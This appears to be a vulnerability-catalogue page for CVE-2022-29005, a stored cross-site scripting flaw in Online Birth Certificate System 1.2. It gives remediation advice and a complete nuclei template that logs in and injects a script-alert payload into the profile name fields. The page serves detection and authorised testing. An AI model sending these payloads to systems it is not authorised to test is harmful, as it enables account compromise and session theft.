Browse / CVEs / CVE-2022-29005
CVE-2022-29005· phpgurukul / online birth certificate system· CWE-79
Online Birth Certificate System 1.2 - Stored Cross-Site Scripting
Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
Fix
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
How to confirm it
Send: POST /obcs/user/login.php ; POST /obcs/user/profile.php ; GET /obcs/user/dashboard.php
Positive when: contains(header_3, "text/html") and status_code_3 == 200 and contains(body_3, 'admin-name\">{{str}}<script>alert(document.domain);</script>')Run it with nuclei: nuclei -id CVE-2022-29005 -u <target>
The full check
id: CVE-2022-29005
info:
name: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting
author: TenBird
severity: medium
description: |
Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt
- https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
- https://nvd.nist.gov/vuln/detail/CVE-2022-29005
- http://online.com
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-29005
cwe-id: CWE-79
epss-score: 0.02178
epss-percentile: 0.82493
cpe: cpe:2.3:a:phpgurukul:online_birth_certificate_system:1.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: phpgurukul
product: online_birth_certificate_system
tags: cve,cve2022,xss,obcs,authenticated,phpgurukul,vuln
variables:
str: "{{rand_base(6)}}"
http:
- raw:
- |
POST /obcs/user/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
mobno={{username}}&password={{password}}&login=
- |
POST /obcs/user/profile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
- |
GET /obcs/user/dashboard.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(header_3, "text/html")'
- 'status_code_3 == 200'
- contains(body_3, 'admin-name\">{{str}}<script>alert(document.domain);</script>')
condition: andReferences
- https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt
- https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
- https://nvd.nist.gov/vuln/detail/CVE-2022-29005
- http://online.com
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from